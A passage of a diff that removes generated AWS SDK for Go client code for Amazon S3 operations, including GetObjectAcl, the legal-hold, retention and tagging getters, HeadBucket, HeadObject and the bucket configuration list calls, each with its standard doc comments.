out := c.GetObjectRequest(input) - return out, req.Send() -} - -// GetObjectWithContext is the same as GetObject with the addition of -// the ability to pass a context and additional request options. -// -// See GetObject for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetObjectWithContext(ctx aws.Context, input *GetObjectInput, opts ...request.Option) (*GetObjectOutput, error) { - req, out := c.GetObjectRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetObjectAcl = "GetObjectAcl" - -// GetObjectAclRequest generates a "aws/request.Request" representing the -// client's request for the GetObjectAcl operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetObjectAcl for more information on using the GetObjectAcl -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetObjectAclRequest method. -// req, resp := client.GetObjectAclRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectAcl -func (c *S3) GetObjectAclRequest(input *GetObjectAclInput) (req *request.Request, output *GetObjectAclOutput) { - op := &request.Operation{ - Name: opGetObjectAcl, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}/{Key+}?acl", - } - - if input == nil { - input = &GetObjectAclInput{} - } - - output = &GetObjectAclOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetObjectAcl API operation for Amazon Simple Storage Service. -// -// Returns the access control list (ACL) of an object. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetObjectAcl for usage and error information. -// -// Returned Error Codes: -// * ErrCodeNoSuchKey "NoSuchKey" -// The specified key does not exist. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectAcl -func (c *S3) GetObjectAcl(input *GetObjectAclInput) (*GetObjectAclOutput, error) { - req, out := c.GetObjectAclRequest(input) - return out, req.Send() -} - -// GetObjectAclWithContext is the same as GetObjectAcl with the addition of -// the ability to pass a context and additional request options. -// -// See GetObjectAcl for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetObjectAclWithContext(ctx aws.Context, input *GetObjectAclInput, opts ...request.Option) (*GetObjectAclOutput, error) { - req, out := c.GetObjectAclRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetObjectLegalHold = "GetObjectLegalHold" - -// GetObjectLegalHoldRequest generates a "aws/request.Request" representing the -// client's request for the GetObjectLegalHold operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetObjectLegalHold for more information on using the GetObjectLegalHold -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetObjectLegalHoldRequest method. -// req, resp := client.GetObjectLegalHoldRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectLegalHold -func (c *S3) GetObjectLegalHoldRequest(input *GetObjectLegalHoldInput) (req *request.Request, output *GetObjectLegalHoldOutput) { - op := &request.Operation{ - Name: opGetObjectLegalHold, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}/{Key+}?legal-hold", - } - - if input == nil { - input = &GetObjectLegalHoldInput{} - } - - output = &GetObjectLegalHoldOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetObjectLegalHold API operation for Amazon Simple Storage Service. -// -// Gets an object's current Legal Hold status. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetObjectLegalHold for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectLegalHold -func (c *S3) GetObjectLegalHold(input *GetObjectLegalHoldInput) (*GetObjectLegalHoldOutput, error) { - req, out := c.GetObjectLegalHoldRequest(input) - return out, req.Send() -} - -// GetObjectLegalHoldWithContext is the same as GetObjectLegalHold with the addition of -// the ability to pass a context and additional request options. -// -// See GetObjectLegalHold for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetObjectLegalHoldWithContext(ctx aws.Context, input *GetObjectLegalHoldInput, opts ...request.Option) (*GetObjectLegalHoldOutput, error) { - req, out := c.GetObjectLegalHoldRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetObjectLockConfiguration = "GetObjectLockConfiguration" - -// GetObjectLockConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the GetObjectLockConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetObjectLockConfiguration for more information on using the GetObjectLockConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetObjectLockConfigurationRequest method. -// req, resp := client.GetObjectLockConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectLockConfiguration -func (c *S3) GetObjectLockConfigurationRequest(input *GetObjectLockConfigurationInput) (req *request.Request, output *GetObjectLockConfigurationOutput) { - op := &request.Operation{ - Name: opGetObjectLockConfiguration, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?object-lock", - } - - if input == nil { - input = &GetObjectLockConfigurationInput{} - } - - output = &GetObjectLockConfigurationOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetObjectLockConfiguration API operation for Amazon Simple Storage Service. -// -// Gets the Object Lock configuration for a bucket. The rule specified in the -// Object Lock configuration will be applied by default to every new object -// placed in the specified bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetObjectLockConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectLockConfiguration -func (c *S3) GetObjectLockConfiguration(input *GetObjectLockConfigurationInput) (*GetObjectLockConfigurationOutput, error) { - req, out := c.GetObjectLockConfigurationRequest(input) - return out, req.Send() -} - -// GetObjectLockConfigurationWithContext is the same as GetObjectLockConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See GetObjectLockConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetObjectLockConfigurationWithContext(ctx aws.Context, input *GetObjectLockConfigurationInput, opts ...request.Option) (*GetObjectLockConfigurationOutput, error) { - req, out := c.GetObjectLockConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetObjectRetention = "GetObjectRetention" - -// GetObjectRetentionRequest generates a "aws/request.Request" representing the -// client's request for the GetObjectRetention operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetObjectRetention for more information on using the GetObjectRetention -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetObjectRetentionRequest method. -// req, resp := client.GetObjectRetentionRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectRetention -func (c *S3) GetObjectRetentionRequest(input *GetObjectRetentionInput) (req *request.Request, output *GetObjectRetentionOutput) { - op := &request.Operation{ - Name: opGetObjectRetention, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}/{Key+}?retention", - } - - if input == nil { - input = &GetObjectRetentionInput{} - } - - output = &GetObjectRetentionOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetObjectRetention API operation for Amazon Simple Storage Service. -// -// Retrieves an object's retention settings. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetObjectRetention for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectRetention -func (c *S3) GetObjectRetention(input *GetObjectRetentionInput) (*GetObjectRetentionOutput, error) { - req, out := c.GetObjectRetentionRequest(input) - return out, req.Send() -} - -// GetObjectRetentionWithContext is the same as GetObjectRetention with the addition of -// the ability to pass a context and additional request options. -// -// See GetObjectRetention for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetObjectRetentionWithContext(ctx aws.Context, input *GetObjectRetentionInput, opts ...request.Option) (*GetObjectRetentionOutput, error) { - req, out := c.GetObjectRetentionRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetObjectTagging = "GetObjectTagging" - -// GetObjectTaggingRequest generates a "aws/request.Request" representing the -// client's request for the GetObjectTagging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetObjectTagging for more information on using the GetObjectTagging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetObjectTaggingRequest method. -// req, resp := client.GetObjectTaggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectTagging -func (c *S3) GetObjectTaggingRequest(input *GetObjectTaggingInput) (req *request.Request, output *GetObjectTaggingOutput) { - op := &request.Operation{ - Name: opGetObjectTagging, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}/{Key+}?tagging", - } - - if input == nil { - input = &GetObjectTaggingInput{} - } - - output = &GetObjectTaggingOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetObjectTagging API operation for Amazon Simple Storage Service. -// -// Returns the tag-set of an object. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetObjectTagging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectTagging -func (c *S3) GetObjectTagging(input *GetObjectTaggingInput) (*GetObjectTaggingOutput, error) { - req, out := c.GetObjectTaggingRequest(input) - return out, req.Send() -} - -// GetObjectTaggingWithContext is the same as GetObjectTagging with the addition of -// the ability to pass a context and additional request options. -// -// See GetObjectTagging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetObjectTaggingWithContext(ctx aws.Context, input *GetObjectTaggingInput, opts ...request.Option) (*GetObjectTaggingOutput, error) { - req, out := c.GetObjectTaggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetObjectTorrent = "GetObjectTorrent" - -// GetObjectTorrentRequest generates a "aws/request.Request" representing the -// client's request for the GetObjectTorrent operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetObjectTorrent for more information on using the GetObjectTorrent -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetObjectTorrentRequest method. -// req, resp := client.GetObjectTorrentRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectTorrent -func (c *S3) GetObjectTorrentRequest(input *GetObjectTorrentInput) (req *request.Request, output *GetObjectTorrentOutput) { - op := &request.Operation{ - Name: opGetObjectTorrent, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}/{Key+}?torrent", - } - - if input == nil { - input = &GetObjectTorrentInput{} - } - - output = &GetObjectTorrentOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetObjectTorrent API operation for Amazon Simple Storage Service. -// -// Return torrent files from a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetObjectTorrent for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectTorrent -func (c *S3) GetObjectTorrent(input *GetObjectTorrentInput) (*GetObjectTorrentOutput, error) { - req, out := c.GetObjectTorrentRequest(input) - return out, req.Send() -} - -// GetObjectTorrentWithContext is the same as GetObjectTorrent with the addition of -// the ability to pass a context and additional request options. -// -// See GetObjectTorrent for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetObjectTorrentWithContext(ctx aws.Context, input *GetObjectTorrentInput, opts ...request.Option) (*GetObjectTorrentOutput, error) { - req, out := c.GetObjectTorrentRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetPublicAccessBlock = "GetPublicAccessBlock" - -// GetPublicAccessBlockRequest generates a "aws/request.Request" representing the -// client's request for the GetPublicAccessBlock operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetPublicAccessBlock for more information on using the GetPublicAccessBlock -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetPublicAccessBlockRequest method. -// req, resp := client.GetPublicAccessBlockRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetPublicAccessBlock -func (c *S3) GetPublicAccessBlockRequest(input *GetPublicAccessBlockInput) (req *request.Request, output *GetPublicAccessBlockOutput) { - op := &request.Operation{ - Name: opGetPublicAccessBlock, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?publicAccessBlock", - } - - if input == nil { - input = &GetPublicAccessBlockInput{} - } - - output = &GetPublicAccessBlockOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetPublicAccessBlock API operation for Amazon Simple Storage Service. -// -// Retrieves the PublicAccessBlock configuration for an Amazon S3 bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation GetPublicAccessBlock for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetPublicAccessBlock -func (c *S3) GetPublicAccessBlock(input *GetPublicAccessBlockInput) (*GetPublicAccessBlockOutput, error) { - req, out := c.GetPublicAccessBlockRequest(input) - return out, req.Send() -} - -// GetPublicAccessBlockWithContext is the same as GetPublicAccessBlock with the addition of -// the ability to pass a context and additional request options. -// -// See GetPublicAccessBlock for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) GetPublicAccessBlockWithContext(ctx aws.Context, input *GetPublicAccessBlockInput, opts ...request.Option) (*GetPublicAccessBlockOutput, error) { - req, out := c.GetPublicAccessBlockRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opHeadBucket = "HeadBucket" - -// HeadBucketRequest generates a "aws/request.Request" representing the -// client's request for the HeadBucket operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See HeadBucket for more information on using the HeadBucket -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the HeadBucketRequest method. -// req, resp := client.HeadBucketRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/HeadBucket -func (c *S3) HeadBucketRequest(input *HeadBucketInput) (req *request.Request, output *HeadBucketOutput) { - op := &request.Operation{ - Name: opHeadBucket, - HTTPMethod: "HEAD", - HTTPPath: "/{Bucket}", - } - - if input == nil { - input = &HeadBucketInput{} - } - - output = &HeadBucketOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// HeadBucket API operation for Amazon Simple Storage Service. -// -// This operation is useful to determine if a bucket exists and you have permission -// to access it. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation HeadBucket for usage and error information. -// -// Returned Error Codes: -// * ErrCodeNoSuchBucket "NoSuchBucket" -// The specified bucket does not exist. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/HeadBucket -func (c *S3) HeadBucket(input *HeadBucketInput) (*HeadBucketOutput, error) { - req, out := c.HeadBucketRequest(input) - return out, req.Send() -} - -// HeadBucketWithContext is the same as HeadBucket with the addition of -// the ability to pass a context and additional request options. -// -// See HeadBucket for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) HeadBucketWithContext(ctx aws.Context, input *HeadBucketInput, opts ...request.Option) (*HeadBucketOutput, error) { - req, out := c.HeadBucketRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opHeadObject = "HeadObject" - -// HeadObjectRequest generates a "aws/request.Request" representing the -// client's request for the HeadObject operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See HeadObject for more information on using the HeadObject -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the HeadObjectRequest method. -// req, resp := client.HeadObjectRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/HeadObject -func (c *S3) HeadObjectRequest(input *HeadObjectInput) (req *request.Request, output *HeadObjectOutput) { - op := &request.Operation{ - Name: opHeadObject, - HTTPMethod: "HEAD", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &HeadObjectInput{} - } - - output = &HeadObjectOutput{} - req = c.newRequest(op, input, output) - return -} - -// HeadObject API operation for Amazon Simple Storage Service. -// -// The HEAD operation retrieves metadata from an object without returning the -// object itself. This operation is useful if you're only interested in an object's -// metadata. To use HEAD, you must have READ access to the object. -// -// See http://docs.aws.amazon.com/AmazonS3/latest/API/ErrorResponses.html#RESTErrorResponses -// for more information on returned errors. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation HeadObject for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/HeadObject -func (c *S3) HeadObject(input *HeadObjectInput) (*HeadObjectOutput, error) { - req, out := c.HeadObjectRequest(input) - return out, req.Send() -} - -// HeadObjectWithContext is the same as HeadObject with the addition of -// the ability to pass a context and additional request options. -// -// See HeadObject for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) HeadObjectWithContext(ctx aws.Context, input *HeadObjectInput, opts ...request.Option) (*HeadObjectOutput, error) { - req, out := c.HeadObjectRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opListBucketAnalyticsConfigurations = "ListBucketAnalyticsConfigurations" - -// ListBucketAnalyticsConfigurationsRequest generates a "aws/request.Request" representing the -// client's request for the ListBucketAnalyticsConfigurations operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListBucketAnalyticsConfigurations for more information on using the ListBucketAnalyticsConfigurations -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListBucketAnalyticsConfigurationsRequest method. -// req, resp := client.ListBucketAnalyticsConfigurationsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketAnalyticsConfigurations -func (c *S3) ListBucketAnalyticsConfigurationsRequest(input *ListBucketAnalyticsConfigurationsInput) (req *request.Request, output *ListBucketAnalyticsConfigurationsOutput) { - op := &request.Operation{ - Name: opListBucketAnalyticsConfigurations, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?analytics", - } - - if input == nil { - input = &ListBucketAnalyticsConfigurationsInput{} - } - - output = &ListBucketAnalyticsConfigurationsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListBucketAnalyticsConfigurations API operation for Amazon Simple Storage Service. -// -// Lists the analytics configurations for the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListBucketAnalyticsConfigurations for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketAnalyticsConfigurations -func (c *S3) ListBucketAnalyticsConfigurations(input *ListBucketAnalyticsConfigurationsInput) (*ListBucketAnalyticsConfigurationsOutput, error) { - req, out := c.ListBucketAnalyticsConfigurationsRequest(input) - return out, req.Send() -} - -// ListBucketAnalyticsConfigurationsWithContext is the same as ListBucketAnalyticsConfigurations with the addition of -// the ability to pass a context and additional request options. -// -// See ListBucketAnalyticsConfigurations for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListBucketAnalyticsConfigurationsWithContext(ctx aws.Context, input *ListBucketAnalyticsConfigurationsInput, opts ...request.Option) (*ListBucketAnalyticsConfigurationsOutput, error) { - req, out := c.ListBucketAnalyticsConfigurationsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opListBucketInventoryConfigurations = "ListBucketInventoryConfigurations" - -// ListBucketInventoryConfigurationsRequest generates a "aws/request.Request" representing the -// client's request for the ListBucketInventoryConfigurations operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListBucketInventoryConfigurations for more information on using the ListBucketInventoryConfigurations -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListBucketInventoryConfigurationsRequest method. -// req, resp := client.ListBucketInventoryConfigurationsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketInventoryConfigurations -func (c *S3) ListBucketInventoryConfigurationsRequest(input *ListBucketInventoryConfigurationsInput) (req *request.Request, output *ListBucketInventoryConfigurationsOutput) { - op := &request.Operation{ - Name: opListBucketInventoryConfigurations, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?inventory", - } - - if input == nil { - input = &ListBucketInventoryConfigurationsInput{} - } - - output = &ListBucketInventoryConfigurationsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListBucketInventoryConfigurations API operation for Amazon Simple Storage Service. -// -// Returns a list of inventory configurations for the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListBucketInventoryConfigurations for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketInventoryConfigurations -func (c *S3) ListBucketInventoryConfigurations(input *ListBucketInventoryConfigurationsInput) (*ListBucketInventoryConfigurationsOutput, error) { - req, out := c.ListBucketInventoryConfigurationsRequest(input) - return out, req.Send() -} - -// ListBucketInventoryConfigurationsWithContext is the same as ListBucketInventoryConfigurations with the addition of -// the ability to pass a context and additional request options. -// -// See ListBucketInventoryConfigurations for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListBucketInventoryConfigurationsWithContext(ctx aws.Context, input *ListBucketInventoryConfigurationsInput, opts ...request.Option) (*ListBucketInventoryConfigurationsOutput, error) { - req, out := c.ListBucketInventoryConfigurationsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opListBucketMetricsConfigurations = "ListBucketMetricsConfigurations" - -// ListBucketMetricsConfigurationsRequest generates a "aws/request.Request" representing the -// client's request for the ListBucketMetricsConfigurations operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListBucketMetricsConfigurations for more information on using the ListBucketMetricsConfigurations -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListBucketMetricsConfigurationsRequest method. -// req, resp := client.ListBucketMetricsConfigurationsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketMetricsConfigurations -func (c *S3) ListBucketMetricsConfigurationsRequest(input *ListBucketMetricsConfigurationsInput) (req *request.Request, output *ListBucketMetricsConfigurationsOutput) { - op := &request.Operation{ - Name: opListBucketMetricsConfigurations, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?metrics", - } - - if input == nil { - input = &ListBucketMetricsConfigurationsInput{} - } - - output = &ListBucketMetricsConfigurationsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListBucketMetricsConfigurations API operation for Amazon Simple Storage Service. -// -// Lists the metrics configurations for the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListBucketMetricsConfigurations for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketMetricsConfigurations -func (c *S3) ListBucketMetricsConfigurations(input *ListBucketMetricsConfigurationsInput) (*ListBucketMetricsConfigurationsOutput, error) { - req, out := c.ListBucketMetricsConfigurationsRequest(input) - return out, req.Send() -} - -// ListBucketMetricsConfigurationsWithContext is the same as ListBucketMetricsConfigurations with the addition of -// the ability to pass a context and additional request options. -// -// See ListBucketMetricsConfigurations for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListBucketMetricsConfigurationsWithContext(ctx aws.Context, input *ListBucketMetricsConfigurationsInput, opts ...request.Option) (*ListBucketMetricsConfigurationsOutput, error) { - req, out := c.ListBucketMetricsConfigurationsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opListBuckets = 